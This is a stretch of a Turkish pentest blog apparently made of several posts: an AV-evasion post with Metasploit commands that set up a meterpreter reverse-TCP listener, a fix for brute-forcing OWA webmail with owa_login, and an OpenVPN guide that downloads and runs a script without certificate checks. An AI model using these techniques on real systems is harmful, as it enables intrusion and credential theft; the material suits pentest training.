<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjPrDeZqazUZUIe5XLXneZrDt22_7tZgjKhuUBxCiPBRXeGWh_BcjETbgJkeKRhfiQxGCYHTer2ecTp9y_Exqc6ajNJzIegw4p73drH_On7Vxqpwh1ellFWk0akMYDWh9SOQHrAngmKA/s1600/5_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjPrDeZqazUZUIe5XLXneZrDt22_7tZgjKhuUBxCiPBRXeGWh_BcjETbgJkeKRhfiQxGCYHTer2ecTp9y_Exqc6ajNJzIegw4p73drH_On7Vxqpwh1ellFWk0akMYDWh9SOQHrAngmKA/s640/5_3.png" width="640" /></a></div>
<br />
Bir başka online tarama sayfası olan <a href="https://virusscan.jotti.org/">https://virusscan.jotti.org/</a> üstündeki taramanın sonucu ise aşağıdaki gibidir.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzeA2VNUKIZczUU5ThSa-63A_uBZjShBZ__Pb07pvtGXGg2bJ-8LQzQIp3ZQbeG48qQTxYE9nL-dSJwh7C8ru0C2XVlGUuwLWnBfYQni_YfCFRNQttXgq_cfH0N-o_BzE5y-V73_xuYQ/s1600/5_3_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="106" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzeA2VNUKIZczUU5ThSa-63A_uBZjShBZ__Pb07pvtGXGg2bJ-8LQzQIp3ZQbeG48qQTxYE9nL-dSJwh7C8ru0C2XVlGUuwLWnBfYQni_YfCFRNQttXgq_cfH0N-o_BzE5y-V73_xuYQ/s640/5_3_1.png" width="640" /></a></div>
<br />
Jotti üzerinde ilk oluşturduğumuz -<b>msfvenom</b> ile ham backdoor- zararlı yazılımın tarama sonucunu da paylaşırsak aradaki farkı daha net görebilirsiniz.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo7qfRvsuvmmc7IFSAizAuRnXGynisuY7wSK4wTOfTwfEazk4a9pd9FdM5MH5NI7kC2A0eZ__dMIRuI6vXqcgQvqhE5v1VFkppyegOs02blJK0wiQ-NZsbRGl0-Lb5E1zqvIoEXSQRBw/s1600/5_3_1-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo7qfRvsuvmmc7IFSAizAuRnXGynisuY7wSK4wTOfTwfEazk4a9pd9FdM5MH5NI7kC2A0eZ__dMIRuI6vXqcgQvqhE5v1VFkppyegOs02blJK0wiQ-NZsbRGl0-Lb5E1zqvIoEXSQRBw/s640/5_3_1-1.png" width="640" /></a></div>
<br />
<b>Reverse Bağlantı </b><br />
<br />
Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yukarıda belirttiğimiz <b>resource </b>dosyası ile veya kendimiz<b> multi/handler</b> modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek.
Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">use exploit/multi/handler</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set payload windows/meterpreter/reverse_tcp</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lhost 172.17.7.132 </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lport 7788 </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set exitonsession false</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">exploit -j -z
</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz5gBjYz_aJrkhxShFAFjewXzTUPYz9ItZUM7EaSnALGhXV-F11DlV9nd3bguYRsG2Y_F9aBeSnHO6dKE6Ok3lnqQNAXg23Nux9aptMlEy0kVrivn5nPBPPlkVuYWles5_jr6fPVvKoA/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz5gBjYz_aJrkhxShFAFjewXzTUPYz9ItZUM7EaSnALGhXV-F11DlV9nd3bguYRsG2Y_F9aBeSnHO6dKE6Ok3lnqQNAXg23Nux9aptMlEy0kVrivn5nPBPPlkVuYWles5_jr6fPVvKoA/s640/6.png" width="640" /></a></div>
<br />
Dinlemeyi başlattığımıza göre şimdi bekleme sırasında, kurbanın bir şekilde bunu açtığını varsayarsak, meterpreter shell için session'ımız oluşuyor. Aktif sessionları listeleyip, bir tanesine geçiş yaptıktan sonra sistem hakkında kısa bir bilgi alma komutu çalıştıralım.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghpGkBF_scqIfI3-KLYF-MSqFtyPSS0Anlg_Up3zlxOLuq7ZjyBLfzwDhxOM86KFfzvCb-nfiVu-AMkDb_wrVrjhS1iTl124z17tEizfumadRAAEgAD172ZEOpwY2vySXmNNImH8mXpw/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghpGkBF_scqIfI3-KLYF-MSqFtyPSS0Anlg_Up3zlxOLuq7ZjyBLfzwDhxOM86KFfzvCb-nfiVu-AMkDb_wrVrjhS1iTl124z17tEizfumadRAAEgAD172ZEOpwY2vySXmNNImH8mXpw/s640/7.png" width="640" /></a></div>
<br />
<b>Başka bir örnek</b><br />
<br />
Veil-evasion üstünde kullandığımız <b>python/meterpreter/rev_tcp</b> modülünden sonra kısaca başka bir modül için alınan sonuçları görelim.
Kullanılan modül yine aynı aileden fakat farklı bir protokol ile çalışan <b>python/meterpreter/rev_https</b> modülü. Gerekli parametreleri düzenledikten sonra <b>generate </b>diyerek oluşturma işlemini başlatıyoruz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhykx1TCqvU9R85WtemqKtlNc9gxIdTtMg_u_vOS3Jo8lEcqcHn-fVU47AfFGnohLdSxnAdtWpNBa4wW_DDIihTRkSYfxMKDoqMS2z3K_1V4bXzE96tjeZFRxvH4lFrpZmZZZpEZSF2NA/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="514" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhykx1TCqvU9R85WtemqKtlNc9gxIdTtMg_u_vOS3Jo8lEcqcHn-fVU47AfFGnohLdSxnAdtWpNBa4wW_DDIihTRkSYfxMKDoqMS2z3K_1V4bXzE96tjeZFRxvH4lFrpZmZZZpEZSF2NA/s640/8.png" width="640" /></a></div>
<br />
Oluşturulan zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan <b>VirusTotal </b>sayfasında yaptığımız taramanın sonucunu görelim.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKGq3J7K2rqODHN_Jk8VxWC8FA50IJlrIrx6j2Hqu0qZmWpp1Mg9TeKyvZKhyGOeIrLf7SRuTeX0X1As-GAeYdz3TLxO2wkdQb6K_NJQ63UOEZMAV7W1WxoUW3p7BBb2r-T_98FZQRA/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOKGq3J7K2rqODHN_Jk8VxWC8FA50IJlrIrx6j2Hqu0qZmWpp1Mg9TeKyvZKhyGOeIrLf7SRuTeX0X1As-GAeYdz3TLxO2wkdQb6K_NJQ63UOEZMAV7W1WxoUW3p7BBb2r-T_98FZQRA/s640/9.png" width="640" /></a></div>
<br />
Bir diğer tarama sayfası olan <a href="https://virusscan.jotti.org/" target="_blank">Jotti'den</a> gelen sonucunu görelim.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiunlVUKbaRvZ-s4NREVahs-ElTFlORaF1FegoSYIbnM4or_b-ZdnWCa-9mWYE97hKrsExK1Z2q0qJ_a7iOs9zL190B80L91qrsMh-lZphs7_PHeY2Wa54XVcQGQZ2FudYp3A4P4Zvd-g/s1600/9_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiunlVUKbaRvZ-s4NREVahs-ElTFlORaF1FegoSYIbnM4or_b-ZdnWCa-9mWYE97hKrsExK1Z2q0qJ_a7iOs9zL190B80L91qrsMh-lZphs7_PHeY2Wa54XVcQGQZ2FudYp3A4P4Zvd-g/s640/9_1.png" width="640" /></a></div>
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-16750851844606957172015-10-02T12:54:00.002-07:002015-10-02T12:54:46.489-07:00Metasploit - invalid input syntax for type inet: "webmail.xxx.com.tr" Hatası ve ÇözümüMerhaba,<br />
<br />
uzun zaman oldu görüşmeyeli, hiç özlemedim sizi.. Şaka şaka. Siz özlediniz mi ben? Hit mit yok lan az ziyaret edin sayfaları :)<br />
<br />
Evet, uzun bir aradan sonra gireceğimiz yazıdaki konumuza gelelim. <b>OWA</b> yani <b>Outlook Web Access</b>. Bildiğiniz kurumsalların genelde Exchange server üstünde kurdukları web mail şeysi.<br />
Yazıda basitçe çözümünü anlatacağım olay, OWA'ya düzenlenen brute force saldırılarında kullanılan Metasploit modülü olan <b>owa_login (auxiliary/scanner/http/owa_login) </b>ile ilgilidir.<br />
<br />
Bir pentest sırasında, kurumun webmail adresine yönelik gerçekleştirdiğim brute force saldırısı için Metasploit'in bahsettiğim modülünü kullandım. Fakat ilk başarılı işlemden sonra hata vererek işlemleri sonlandırıyordu. İş brute force olmaktan çıkmıştı, tek atışlık brute force mu olur? Ölümüne gitmen lazım senin. Neyse ilk yaptığım deneme sırasında aldığım çıktı şöyle bir şey oldu.<br />
<a name='more'></a><br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [-] Auxiliary failed: ActiveRecord::StatementInvalid PG::InvalidTextRepresentation: ERROR: invalid input syntax for type inet: "webmail.xxx.com.tr"
LINE 1: ..."hosts".* FROM "hosts" WHERE "hosts"."address" = 'webmail.x...
^
: SELECT "hosts".* FROM "hosts" WHERE "hosts"."address" = 'webmail.xxx.com.tr' AND "hosts"."workspace_id" = 1 ORDER BY "hosts"."id" ASC LIMIT 1
[-] Call stack:
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.1.0/gems/activerecord-4.0.13/lib/active_record/connection_adapters/postgresql_adapter.rb:798:in `async_exec'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.1.0/gems/activerecord-4.0.13/lib/active_record/connection_adapters/postgresql_adapter.rb:798:in `exec_no_cache'
</code></pre>
<br />
Resimli bir şekilde gösterecek olursak aşağıdaki gibi bir çıktı.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj70DxVHE83mc6KkwSKlyVa3nHeCyIsDMhCk5PSMr17HmVveyBAj_Ejxuo92HHVj3h-KJU7wNMKN1vrdFKgSWyBEuDaeNiBwjkOmXbJsQcFYygsZpLiFR9TioEE1Xd5KT7_otpGMcDkcWE/s1600/1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="235" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj70DxVHE83mc6KkwSKlyVa3nHeCyIsDMhCk5PSMr17HmVveyBAj_Ejxuo92HHVj3h-KJU7wNMKN1vrdFKgSWyBEuDaeNiBwjkOmXbJsQcFYygsZpLiFR9TioEE1Xd5KT7_otpGMcDkcWE/s640/1.png" width="640" /></a><br />
Çözümü için yapmamız gereken şey yok easy (izi). Modülü kullanırken verdiğimiz RHOST parametresine domain adı yerine IP adresini girmek.<br />
<ul>
<li><span style="font-family: "Courier New",Courier,monospace;">set RHOST 123.231.131.132</span></li>
</ul>
Şekil de istersiniz şimdi siz, yeşillik önemli.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8B8JW2zaFHOK0JMFAGQyNlQ66Cxv6wyqS0Id9UPIKLXDnTWegWUgB8GgtmYfHtnwe8dg8_VcL6cmxprslT1axVnpLNgnIa-ho6kc6IFLIgTHbI4VnR4GVSvTBY91e2_CdkOrQXqC8gl8/s1600/2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8B8JW2zaFHOK0JMFAGQyNlQ66Cxv6wyqS0Id9UPIKLXDnTWegWUgB8GgtmYfHtnwe8dg8_VcL6cmxprslT1axVnpLNgnIa-ho6kc6IFLIgTHbI4VnR4GVSvTBY91e2_CdkOrQXqC8gl8/s640/2.png" width="640" /></a></div>
<br />
<br />
<br />
<span style="font-size: large;"><b>Whooaatt?</b></span><br />
<br />
Madem bu kadar kolay niye bu kadar uzatıyon olm?<br />
Canım sıkıldı, bayağıdır yazmıorum. Biraz da dolu görünsün blog. İki satırlık blog yazısı mı olur?<br />
<br />
Neyse, sonuna da bir yeşillik bırakıp gidelim. IP olarak girilen RHOST parametresinin sonunda verilen çıktı. Dosyalarda bulunan tüm kombinasyonlar sorunsuz denendi.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDfkVnGrk5HRKO_L7Rt09BLOnegKiqUfclObjzEQo0TXkmwR1QY2c_qu8IRCfyiFTRgsTl-LQeGhubMm31ygqcIhzbWryhf1BnAvnfLKnCixgNJpwYrdw9MKaARtQF8vO5T6BCE4wadsg/s1600/3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDfkVnGrk5HRKO_L7Rt09BLOnegKiqUfclObjzEQo0TXkmwR1QY2c_qu8IRCfyiFTRgsTl-LQeGhubMm31ygqcIhzbWryhf1BnAvnfLKnCixgNJpwYrdw9MKaARtQF8vO5T6BCE4wadsg/s640/3.png" width="640" /></a></div>
<br />
Yalnız msf abimizin bu modülü çoh sıkıntı. Denenen kombinasyon doğru kullanıcı adı-parola olsa bile bazen yanlış diyip geçebiliyor.<br />
<br />
Napsak? Kendimiz mi bir script yazsak brute force için?<br />
Kaç aydır köşede duran GHDB (Gundy Hacking DataBase) projem var. İki satır kod yazmaya üşeniyorum. Onu mu yazcam, peh.<br />
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-39323178698696525872015-03-27T10:28:00.002-07:002015-06-30T03:11:00.417-07:00Linux Server'a OpenVPN Kurulumu ve Windows İstemciden BağlanmaVPN bazen lazım olur, devletlümüzün engellediği yerlere girmek için veya görülmesini istemediğiniz trafiğiniz olduğu zaman VPN'ler işe yarar. Etrafta free VPN'ler çokca var ama bunların server'ında duran logların baskalarına verilmediğini trafiğinizin ne kadar güvende olduğunu bilemezsiniz.<br />
<br />
Bu yüzden bu yazıda kendi server'ımıza, ben <b>DigitalOcean</b>'dan kiraladığım VPS'ime <b>Debian 7.0 x64</b> server kurdum, <b>OpenVPN </b>kurulumunu kısaca yazacağım. -<b>Ubuntu </b>ve <b>CentOS</b>'ta da çalışır.-<br />
Etrafta OpenVPN kurulumu ile ilgili yazılar aradığınızda (How to install openvpn on blabla) çokca uzun içinde kurarken canımızdan bezmemize neden olabilecek bir ton olay göreceksiniz.<br />
<br />
Bunun böyle olduğunun farkına varanlar sağolsunlar işi bir <b>bash script</b> yazarak halletmişler. Ki bunu Github'ta forklayanda 100'ün üstünde kişi var, yani OpenVPN'den biz çektik siz çekmeyin diyip geliştirmeye yardım etmişler.<br />
<br />
<span style="font-size: large;"><b>KURULUM</b></span><br />
<br />
Önce sistemimize bir update & upgrade çekelim.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> apt-get update && apt-get upgrade
</code></pre>
<h4>
<a name='more'></a></h4>
Sonrasında bahsini ettiğimiz scripti çalıştıralım. Github linki <a href="https://github.com/Nyr/openvpn-install" target="_blank">şöyle bişey</a>.<br />
<br />
Sağolsun yazdığı küçük bir script ile Github'a uğramamızada gerek kalmıyor.<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ-yUsVhghPOCa7iOfGHJ1Gh5Q7Xf4DhgS2u4fSr4BeHcVFTdLZL_FovNSayywzkwC5SRE9myARUJcCYS2OGenKPN9dhoSYM9tF3Lb4aQpCrlVgM2RsaPlRcwlMYORueZD-0ruNOc-DM1z/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">wget git.io/vpn --no-check-certificate -O openvpn-install.sh; bash openvpn-install.sh
</code></pre>
<br />
Bu satırı komut satırımıza girdiğimizde bash scripti indirip çalıştıracak ve bize server IP'imizi soracak. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYZkjt7IRrcdWkCkumMmlPx0sQj5cplsg8qNDjsBcTLJdBMDpWUbJllPxXw_q6nZc0cymi9pb-SiBfB_2Mw9XZTeIH9GUEShe6PEcsI1M41ZJkI10kCTK4RrN-jdbW9HIMirJsWuFpOmU/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="83" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYZkjt7IRrcdWkCkumMmlPx0sQj5cplsg8qNDjsBcTLJdBMDpWUbJllPxXw_q6nZc0cymi9pb-SiBfB_2Mw9XZTeIH9GUEShe6PEcsI1M41ZJkI10kCTK4RrN-jdbW9HIMirJsWuFpOmU/s1600/1.JPG" width="400" /></a></div>
<br />
Kendisi zaten IP adresimizi bulduktan sonra soruyor, teyit ettirmek için yani.<br />
Sonrasında OpenVPN için hangi porttan dinleme yapacağını soruyor. Buraya da OpenVPN için default port numarası olan 1194 değerini girip bize soruyor. Bunu herhangi bir değere set edebilirsiniz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXcsyYKKibgCdOPKeI_mv7NpbXnOkzXmQyswyQTFpLSHIaDWoEmOGQfc5mTNCM9IWEX2iNYf2iV5MS-TqIEJKwsRiA8mep3E7w1gq8c025eOgNmSgLpJk85SxarkOu5aLx6Y9KV1ufsj8/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXcsyYKKibgCdOPKeI_mv7NpbXnOkzXmQyswyQTFpLSHIaDWoEmOGQfc5mTNCM9IWEX2iNYf2iV5MS-TqIEJKwsRiA8mep3E7w1gq8c025eOgNmSgLpJk85SxarkOu5aLx6Y9KV1ufsj8/s1600/2.JPG" width="400" /></a></div>
Sonrasında sorduğu soruları uzatmadan enterlayıp geçiyoruz ki kendisi defaultta <b>n</b> vermiş.<br />
Sonrasında hangi <b>DNS</b>'i kullanmak istediğinizi soruyor. Sistemin default DNS'ini kullanmasını söyleyip <b>1</b> diyoruz.<br />
Ardından gerekli ayarlamaları yaptığı sırada bağlanacağımız <b>client </b>için bir isim soruyor. Default olarak buna client demiş şakacılar. Ben bunu Gundy olarak değişiriyorum ve geçiyorum.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb2c-ocPPfRrohmK9F966T18wndBibqXAP8O34E4fzCmxuHtGXfCV6THmMk9Xm9vA8iw2D6ibTRa5OQn8yqTQxzN1aKtkPBi_h_8amhPgALhDRLO5ivbbRTu4dVeUFE-qttn2S4Wsdj4A/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb2c-ocPPfRrohmK9F966T18wndBibqXAP8O34E4fzCmxuHtGXfCV6THmMk9Xm9vA8iw2D6ibTRa5OQn8yqTQxzN1aKtkPBi_h_8amhPgALhDRLO5ivbbRTu4dVeUFE-qttn2S4Wsdj4A/s1600/3.JPG" width="400" /></a></div>
<br />
Sonrasında konfigürasyonlar için alacağı bilgileri bitirdi ve bizden devam için bir tuşa basmamızı istiyor. Ve önce kurulum ardından konfigürasyonları yapıyor. Bunlardan biri bağlanmamız için gereken 2048 bitlik RSA Private Key.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtIucJIgn2EbLyoFThyphenhyphenR1mqXfAE8b5o-Tb-lNbT6y6FbBvgcvTQAIn5S_fjV8jFWd7kfmSICqz3vko5q4bwn-mb5QNXSLW5Oy0j8nCy8ycF000CRjAeRij1E3g7X64wWbdt1Q29l67mmg/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtIucJIgn2EbLyoFThyphenhyphenR1mqXfAE8b5o-Tb-lNbT6y6FbBvgcvTQAIn5S_fjV8jFWd7kfmSICqz3vko5q4bwn-mb5QNXSLW5Oy0j8nCy8ycF000CRjAeRij1E3g7X64wWbdt1Q29l67mmg/s1600/4.JPG" width="400" /></a></div>
<br />
Anahtarı ürettikten sonra servisleri yeniden başlatacaktır ve kullanıma hazır hale gelecektir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb3krTUsXvbm14bX2LVbOXkRcJJlo-oGxwzKLfHK5Dx9qpAnXuF6OcM-BdSsZk312PDuzxNgEVnVCPuET6eYpSZEolDPnLSNu4r_wa5sSN-b6Tnld-OPXs1tMQrQRDm73WnK5DDEok4BI/s1600/5.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="77" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb3krTUsXvbm14bX2LVbOXkRcJJlo-oGxwzKLfHK5Dx9qpAnXuF6OcM-BdSsZk312PDuzxNgEVnVCPuET6eYpSZEolDPnLSNu4r_wa5sSN-b6Tnld-OPXs1tMQrQRDm73WnK5DDEok4BI/s1600/5.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Windows makinemizden OpenVPN client'ıyla bağlandığımız sırada kullanacağımız gerekli bilgileri içeren konfigürasyon dosyası ana dizinimizde, ayarlamalar sırasında belirttiğimiz kullanıcı ismimizle oluşturulmuş ve bizi bekliyor.<br />
<br />
WinSCP veya benzeri bir uygulama ile server'dan ovpn uzantılı dosyamızı çekiyoruz.<br />
<br />
Bu dosyayı <b>OpenVPN'in kurulu</b> olduğu dizindeki <b>config </b>klasörünün altına atıp OpenVPN istemcimizi çalıştırıyoruz. Yönetici olarak çalıştırmayı unutmayın!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jkAExg1Mgp-U_co8Mg70vPEKjE7IQXWcXL82bvsTXBw8xKTAkXYo1ATKOcDvURUxUJTu1Nyy_Zgfm_nxrs530gKgQeH4QFzLJsOdrxSMlEmSKT7HmPuvqHEsLUkGGFT2XhFglxUD-hg/s1600/6.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="98" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2jkAExg1Mgp-U_co8Mg70vPEKjE7IQXWcXL82bvsTXBw8xKTAkXYo1ATKOcDvURUxUJTu1Nyy_Zgfm_nxrs530gKgQeH4QFzLJsOdrxSMlEmSKT7HmPuvqHEsLUkGGFT2XhFglxUD-hg/s1600/6.JPG" width="400" /></a></div>
<br />
Tabi çalıştırdığımız zaman küçük bir ikon haline gelip görev çubuğunun oraya pusuyor.<br />
<b>Sağ tıklayıp Bağlan</b> diyoruz ve bağlantının oluşturulmasını bekliyoruz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiCq_pp6IWolWsFrzVijuOmLnb8IjqIgFfHA43kdinSi_SZ2k2_vKibmogM93wtn0JXriykq-lhniFbY1_6u-hyM5AJftl9reaAZDOHZ0R0GU-ygRoLuDkgmrHjQXEDwzXaJy1kz6k9M/s1600/7.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiCq_pp6IWolWsFrzVijuOmLnb8IjqIgFfHA43kdinSi_SZ2k2_vKibmogM93wtn0JXriykq-lhniFbY1_6u-hyM5AJftl9reaAZDOHZ0R0GU-ygRoLuDkgmrHjQXEDwzXaJy1kz6k9M/s1600/7.JPG" /></a></div>
Ardından bağlantıyı sağlamaya çalışıyor TLS paketleri yollayıp alıyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7zZJU-kmSyti6K6CmqAtVWMfMvKbaecgxQZkegop_QFYx4PV6SW9NhrVKgniVK2MEpm4VxaN5SCB1LEk-iEp31lat1hBd6ldc-m-lLCaP_7X4ugu7hx4s6xmzF4uxZKkcZ4iKCB6rMr0/s1600/8.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="375" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7zZJU-kmSyti6K6CmqAtVWMfMvKbaecgxQZkegop_QFYx4PV6SW9NhrVKgniVK2MEpm4VxaN5SCB1LEk-iEp31lat1hBd6ldc-m-lLCaP_7X4ugu7hx4s6xmzF4uxZKkcZ4iKCB6rMr0/s1600/8.JPG" width="400" /></a></div>
<br />
Ve bağlantı kurulduğu zaman bize bağlandığımız network'ten atanan IP ile beraber bildiren bir uyarıcık çıkıyor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXxC9f_HJo-veJEpI_XTgEOpzWLNWl7-WqDguVAW0xarHuUeqJ1pnKUetZJ5LHVT-vxZ2AeTSiXOwtfr_lFLJ67RTp5Sa7tCGcc-tbgO0VKXEx30apMD3u7jCh-Cfz9pPUcWIpC8sJHco/s1600/9.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXxC9f_HJo-veJEpI_XTgEOpzWLNWl7-WqDguVAW0xarHuUeqJ1pnKUetZJ5LHVT-vxZ2AeTSiXOwtfr_lFLJ67RTp5Sa7tCGcc-tbgO0VKXEx30apMD3u7jCh-Cfz9pPUcWIpC8sJHco/s1600/9.JPG" /></a></div>
Yazı uzun gibi oldu ama ana mantık basit ve yapacaklarınız bekleme süresiyle beraber 3-5 dakika olur en fazla.<br />
<br />
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-26073652592500225202015-03-27T06:13:00.001-07:002015-06-30T03:11:51.303-07:00Easy-cred.sh "Some prereqs missing, functionality may be impaired. Review README file" Hatası ve Çözümüİsmi Easy Credential'dan gelen, bash ile yazılmış bu scriptimiz <b>Poisoning</b> ve <b>Fake AP</b> saldırıları için kullanılabilecek güzide bir araçtır.<br />
<div class="separator" style="clear: both; text-align: center;">
